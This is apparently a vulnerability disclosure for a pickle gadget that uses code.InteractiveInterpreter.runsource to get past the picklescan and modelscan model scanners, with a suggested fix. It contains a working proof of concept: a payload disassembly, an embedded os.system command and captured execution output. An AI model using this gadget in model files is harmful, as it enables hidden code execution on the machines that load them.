# code.InteractiveInterpreter.runsource pickle gadget bypasses picklescan 1.0.5 and modelscan 0.8.8 (Python 3.13) **Category:** Pickle deserialization / scanner-bypass — new RCE gadget **Targets:** - picklescan **1.0.5** (latest on PyPI) — https://github.com/mmaitre314/picklescan - modelscan **0.8.8** (latest on PyPI) — https://github.com/protectai/modelscan **Tested runtime:** CPython **3.13.12**, joblib **1.5.3** **Scanner runtime:** Python 3.12 venv (modelscan requires `<3.13`); picklescan 1.0.5 also run there. --- ## Summary A pickle stream that instantiates `code.InteractiveInterpreter` and then calls its **`runsource`** unbound method reaches `exec()` at unpickle time, achieving arbitrary code execution. Neither picklescan 1.0.5 nor modelscan 0.8.8 flags it: - **picklescan 1.0.5** blocklists the stdlib `code` module with a single exact-string entry that names only `InteractiveInterpreter.runcode`. It does **not** list `InteractiveInterpreter.runsource`. Both globals in the payload are classified as merely **Suspicious** (0 Dangerous / 0 Infected) — identical to how it treats the gadgets it already accepts as covered. - **modelscan 0.8.8** does not include the `code` module in its `unsafe_globals` at all, and reports **"No issues found"**. ## Root cause `code.InteractiveInterpreter.runsource` compiles a source string and executes it: ```python # CPython Lib/code.py (unchanged on 3.13) class InteractiveInterpreter: def runsource(self, source, filename="", symbol="single"): try: code = self.compile(source, filename, symbol) # compile() the source except (OverflowError, SyntaxError, ValueError): self.showsyntaxerror(filename) return False if code is None: return True self.runcode(code) # -> exec(code, self.locals) return False def runcode(self, code): try: exec(code, self.locals) # <-- arbitrary code execution ... ``` picklescan's blocklist entry for the `code` module (picklescan 1.0.5, `src/picklescan/scanner.py`, `_unsafe_globals`): ```python _unsafe_globals = { ... "code": {"InteractiveInterpreter.runcode"}, # <-- runsource is NOT listed ... } ``` Because `runsource` compiles with `symbol="exec"` and then delegates straight to `runcode` -> `exec`, calling `runsource` is exactly as dangerous as calling `runcode`, but only `runcode` is on the blocklist. modelscan never lists the `code` module, so it misses both entrypoints. ## PoC A 183-byte protocol-4 pickle. A REDUCE chain (1) instantiates `code.InteractiveInterpreter()`, then (2) calls the `runsource` unbound method with `(instance, malicious_source, "", "exec")`. `runsource` compiles the source in `exec` mode and runs it via `runcode` -> `exec`. Generator: `gen_poc.py`. Artifacts: `evil.pkl`, `evil.joblib` (identical bytes — a joblib container is itself a pickle stream), `control_os.pkl` (negative control). Disassembly of `evil.pkl`: ``` 0: \x80 PROTO 4 2: c GLOBAL 'code InteractiveInterpreter.runsource' 41: ( MARK 42: c GLOBAL 'code InteractiveInterpreter' 71: ) EMPTY_TUPLE 72: R REDUCE # instance = InteractiveInterpreter() 73: \x8c SHORT_BINUNICODE "import os; os.system('id > PWNED_MARKER ...')" 165: \x8c SHORT_BINUNICODE '' 174: \x8c SHORT_BINUNICODE 'exec' 180: t TUPLE (MARK at 41) 181: R REDUCE # runsource(instance, source, '', 'exec') -> exec 182: . STOP ``` The malicious source executed is: `import os; os.system("id > PWNED_MARKER 2>&1; echo CODE_RUNSOURCE_GADGET >> PWNED_MARKER")` ## Captured evidence (verbatim) ### EXECUTE — CPython 3.13.12, `pickle.load(open('evil.pkl','rb'))` `PWNED_MARKER` written: ``` uid=1000(kali) gid=1000(kali) groups=1000(kali),4(adm),20(dialout),24(cdrom),25(floppy),27(sudo),29(audio),30(dip),44(video),46(plugdev),100(users),101(netdev),102(scanner),118(wireshark),119(kaboxer),982(bluetooth),999(lpadmin) CODE_RUNSOURCE_GADGET ``` ### EXECUTE — CPython 3.13.12, `joblib.load('evil.joblib')` (joblib 1.5.3) `PWNED_MARKER` written: same `uid=1000(kali) ...` output followed by `CODE_RUNSOURCE_GADGET`. ### picklescan 1.0.5 — `evil.pkl` ``` Scanned files: 1 Infected files: 0 Suspicious globals: 2 Dangerous globals: 0 (exit=0) ``` Globals seen: `GLOBAL 'code InteractiveInterpreter.runsource'`, `GLOBAL 'code InteractiveInterpreter'` — both classified Suspicious, none Dangerous. ### modelscan 0.8.8 — `evil.pkl` ``` Scanning ... using modelscan.scanners.PickleUnsafeOpScan model --- Summary --- No issues found! 🎉 (exit=0) ``` ### Negative control — `control_os.pkl` (classic `posix.system` reduce) Proves detection is live in both scanners. picklescan 1.0.5: ``` control_os.pkl: dangerous import 'posix system' FOUND Infected files: 1 Dangerous globals: 1 ``` modelscan 0.8.8: ``` Total Issues: 1 Total Issues By Severity: CRITICAL: 1 "Use of unsafe operator 'system' from module 'posix'" (exit=1) ``` ## Impact Any workflow that scans a `.pkl` / `.joblib` / pickle-backed model file with picklescan 1.0.5 or modelscan 0.8.8 and then loads it (e.g. Hugging Face model loading, joblib-serialized sklearn models) will pass the scan yet execute attacker code on `load`. Both tools are the de-facto pre-load scanners for the ML supply chain. ## Dedup / prior-art note - No CVE or public advisory references `code.InteractiveInterpreter.runsource` (or `runcode`) as a pickle gadget at the time of writing. - Distinct from all 15 gadgets picklescan already covers in its blocklist (`marshal.loads`, `types.FunctionType`, `operator.call`, `dataclasses._create_fn`, `pydoc.pipepager`, `cProfile`/`timeit`, `posix.spawnv_passfds`, `logging.config.dictConfig`, etc.). - The related `code.InteractiveConsole` subclass and the `runcode` method are already on picklescan's list; `runsource` on the base `InteractiveInterpreter` class is the gap. It is the natural sibling entrypoint (compile+exec) and is missed by an exact string-match blocklist. - No prior Hugging Face repo or local workspace file references `code` / `runsource` / `InteractiveInterpreter` as a gadget. ## Suggested fix picklescan should add `InteractiveInterpreter.runsource` (and, for completeness, `InteractiveConsole.runsource` / `push` / `interact`, and `compile_command`) to the `code` module entry — or blocklist the `code` module wholesale. modelscan should add the `code` module to its `unsafe_globals`. A method-name allowlist/blocklist that enumerates individual methods is inherently fragile against sibling entrypoints that funnel into the same `exec`.